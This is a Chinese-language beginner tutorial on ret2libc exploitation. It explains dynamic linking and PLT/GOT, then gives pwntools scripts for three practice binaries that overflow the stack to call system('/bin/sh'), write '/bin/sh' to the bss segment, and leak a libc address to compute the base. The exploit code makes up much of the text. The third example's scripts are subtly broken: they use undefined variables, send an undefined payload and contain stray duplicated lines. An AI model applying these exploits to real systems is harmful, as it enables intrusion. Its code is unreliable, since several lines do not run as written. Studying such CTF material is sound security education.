概述:
前文介绍了ROP的基本原理,但前面的方法有一些局限性,一旦目标程序调用的函数较少,或者使用动态编译,就会导致我们可以利用的gadget变少,从而无法达到利用效果。为了解决这种问题,我们可以选择使用ROP的方式,到动态链接库里面寻找gadget。即ret2libc。
静态链接和动态链接:
链接:程序经过预处理,编译,汇编,链接之后可以生成可执行文件,链接可以将多个汇编之后的程序拼在一起。也可以链接函数库,库是一种软件组件技术,库里面封装了数据和函数,比如常用的printf,get函数。链接包含函数库,可以方便代码的复用,避免重复造轮子。
静态链接:
前面的所讲的ret2syscall所利用的二进制程序就是经过静态链接得到的。静态链接就是将整个库直接链接到程序中,一般这样的程序占用空间会比较大,并且会有很多不会用到的函数。
动态链接:
随着系统中可执行文件的增加,静态链接所带来的磁盘和内存空间浪费问题愈发严重。例如大部分可执行文件都需要glibc,那么在静态链接的时候就需要把libc.a和编写的代码链接进去,单个libc.a的大小为5M左右,那么1000个就是5G。如果两个静态链接的可执行文件都包含testLib.o,那么在装载入内存时,两个相同的库也会被装载进去,造成内存空间的浪费。静态链接另一个明显的缺点就是,如果对标准函数哪怕做了一点很微小的改动,都需要重新编译整个源文件,使得开发和维护很艰难。
如果不把系统库和自己编写的代码链接到一个可执行文件,而是分割成两个独立的模块,等到程序真正运行时,再把这两个模块进行链接,就可以节省硬盘空间,并且内存中的一个系统库可以被多个程序共同使用,还节省了物理内存空间。这种在运行或加载时,在内存中完成链接的过程叫做动态链接,这些用于动态链接的系统库称为共享库,或者共享对象,整个过程由动态链接器完成。
Linux下动态库文件的文件名形如 libxxx.so,其中so是 Shared Object 的缩写,即可以共享的目标文件。
PLT&GOT表以及延迟绑定机制:
yichen大佬的文章,写的非常详细:地址
视频讲解
参考资料:《程序员的自我修养-链接、装载与库》
利用方式:
下面我们将使用三个例题从易到难来讲解ret2libc的利用方式:
难度一:
例题初探:
程序中存在system函数和/bin/sh字符串,但与ret2text不同的是,此时的system函数的参数并不是/bin/sh,而是一个奇怪字符:
并且/bin/sh所在的位置为:
如果我们单纯的将返回地址覆盖为system的地址,程序就会执行system(“shell!?”),但是shell!?并不是一个系统命令,此时程序执行会产生错误,就相当于我们直接在命令行敲shell!?,系统会提示找不到命令,但如果敲/bin/sh就会返回一个真正的shell。如果我们要想利用system函数并且让程序返回一个shell,那么我们就必须要让system函数的参数变为/bin/sh。
那么如何让system的参数变成/bin/sh?
首先回顾一下汇编调用过程:汇编调用函数过程中会首先将参数压栈,然后返回地址压栈,然后是ebp的地址。
当程序调用system函数时,会自动去寻找栈底即ebp指向的位置,然后将ebp+8字节的位置的数据当作函数的参数,所以如果我们想将/bin/sh作为system函数的参数,就可以在栈溢出的时候,先修改eip为system函数的地址,然后填充4个字节的垃圾数据,再将/bin/sh的地址写入栈上,这样调用system函数的时候,就可以将/bin/sh作为参数,然后返回一个shell。
注意: 为什么是在eip(即system函数地址)后面覆盖4个字节垃圾数据而不是前面提到的8个字节,这是因为当我们调用system函数的时候,在system函数中会首先执行push ebp指令,将4字节的ebp地址压入栈中,而此时的栈底距离我们的参数/bin/sh正好8字节,所以我们应该填充4字节垃圾数据。
完整利用过程:
首先checksec:
32位程序,无canary,无pie。
32位ida pro打开:
明显的栈溢出漏洞。
存在system函数,地址为:
/bin/sh地址为:
然后动态调试确定栈溢出大小:
脚本如下:
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt,'b'*4,binsh_addr])
sh.sendline(payload)
sh.interactive()
难度二:
例题初探:
可以看到存在明显的栈溢出漏洞。在secure函数里发现存在system函数:
按shift+f12查看字符串发现并没有“/bin/sh”,所以我们需要自己写入一个/bin/sh作为system函数的参数,才能让程序执行system(’/bin/sh’),从而控制掉程序。
如何写入/bin/sh字符串并找到字符串的位置?
目前程序中有一个gets函数可以让我们利用,我们可以首先通过栈溢出,将程序的返回地址覆盖为gets函数的地址,然后再将bss段的地址作为函数的参数,这样就可以将‘/bin/sh’写入到bss段。(为什么选择bss段,而不是直接将/bin/sh写入到栈上,因为栈在执行的过程中他的地址是不确定的,如果将/bin/sh写入到栈上,当我们调用system函数的时候需要将/bin/sh的地址作为函数的参数,但此时我们无法确定栈的地址;但如果我们将/bin/sh写到bss段,当程序没有开启PIE保护时,bss的地址是不变的,并且bss段是可写的。)
然后,我们再把通过栈溢出调用的gets函数的返回地址覆盖为system函数的地址,并且函数的参数为我们刚才的写入到bss段的‘/bin/sh’字符串的地址。
综上所述,我们的payload应该在执行完之后将栈覆盖成如下形式:
其中,第一个buf2是gets函数的参数,此时我们要往这个地址里面写入/bin/sh,第二个buf2是system函数的参数,此时我们要读取此处的/bin/sh字符串。
完整过程:
首先checksec:
32位程序,没有canary,没有pie,很轻松可以完成栈溢出。
然后ida打开:
gets函数,明显的栈溢出。
secure函数里调用了system函数,但没有/bin/sh字符串,需要我们自己写,前面已经讨论过方法。
寻找system函数的plt地址为:0x08048490
gets函数的plt地址为:0x08048460
我们需要写入的bss段的地址为:0x804a080
动态调试:
确定的栈溢出所需的字节为112:
构造payload并写出脚本:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, system_plt, buf2, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
难度三:
例题初探:
存在栈溢出。
没有system函数。
没有/bin/sh字符串。
/bin/sh字符串我们可以用前面的方法写入,但system函数是无法写入的。所以我们换了一种方法,在linux延迟绑定机制中,当程序调用库函数时,会将libc.so文件中的函数地址写到程序的got表中,调用时会跳转到got表所写的地址。那么我们如果要调用system函数,就要知道他的got表中的地址,got表中的地址指的就是当系统将libc(动态链接库)加载到内存中时,库中的函数的地址。但libc被加载到的内存的位置是随机的,我们无从得知。
但是,同一版本的libc的两个库函数在libc中的相对位置是不变的,所以如果我们可以知道一个已经执行过的函数的got表地址,然后确定libc的版本,就可以加上和system函数的偏移,从而得到system函数的真实地址,即got表地址。
碰巧的是,我们拥有一个puts函数,我们可以用puts函数,将一个已经执行过的函数的got表地址打印出来,然后再根据地址获取libc版本,确定偏移,得到真实地址;并且,在libc中,存在着system函数和/bin/sh字符串,所以我们只需要考虑如何得到一个执行过的函数的真实地址即可,并不需要考虑如何写入/bin/sh字符串。
如何获取真实地址:
经过前面的讨论,我们需要通过栈溢出利用puts函数,打印puts函数的got表中的地址,然后获取偏移,得到system函数和/bin/sh字符串的地址,将puts函数的地址覆盖为system函数的地址。除了获取gots表中的地址之外,其他步骤都与前面的例题二类似。
根据函数的真实地址查找偏移的可以去下面的网站:
https://libc.nullbyte.cat/
https://libc.blukat.me/
因为我们需要中途暂停程序去获取偏移,所以我们可以构造两个payload,第一个payload用于溢出利用puts函数打印出真实地址,然后程序等待我们的输入,第二个payload用于获取我们输入的system函数和/bin/sh的地址,然后进行利用,得到shell。
payload如下:
完整过程:
首先checksec:
32位程序,没有canary,PIE保护。
ida打开:
没有system函数,没有/bin/sh字符串。
动态调试:
栈大小为112。
构造payload并写出脚本:
脚本1,用于泄露puts函数的真实地址,即got表地址。文章来源:https://www.toymoban.com/news/detail-427959.html
#!/usr/bin/env python
from pwn import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
#获取_start函数的地址是为了方便一会返回到此处,进行第二次栈溢出。
payload1='A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))
print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))
print("puts addr = ", hex(puts_addr))
#打印出puts函数的真实地址。
p.interactive()
运行上面的代码之后就可以得到puts函数的真实地址,然后去libcsearch的网站查询之后,可得到puts函数,system函数,/bin/sh字符串对应的偏移地址。
知道了puts函数的真实地址和偏移之后,就可以将puts函数的真实地址减去偏移地址,得到libc的基址,将libc的基址分别与system,/bin/sh字符串的偏移相加,就可以得到对应的真实地址,然后就可以构造payload2了。文章来源地址https://www.toymoban.com/news/detail-427959.html
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']
print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))
p.recv()
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print("puts_addr = ",hex(puts_addr))
sys_offset = 0x03cd10
puts_offset = 0x067360
sh_offset = 0x17b8cf
#根据公式 libc基地址 + 函数偏移量 = 函数真实地址 来计算
libc_base_addr = puts_addr - puts_offset #计算出libc基地址
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址
print("libc_base_addr = ",hex(libc_base_addr))
print("sys_addr = ",hex(sys_addr))
print("sh_addr = ",hex(sh_addr))
payload2 = flat(['A'*112, p32(sys_addr), "AAAA", p32(sh_addr)]) #system函数参数
p32(sys_addr) #覆盖返回地址为system函数
"AAAA" #system的返回地址,随便输,因为之前调用了system('/bin/sh')
p32(sh_addr)]) #system函数参数
p.sendline(payload2)
p.interactive()
到了这里,关于pwn小白入门06--ret2libc的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!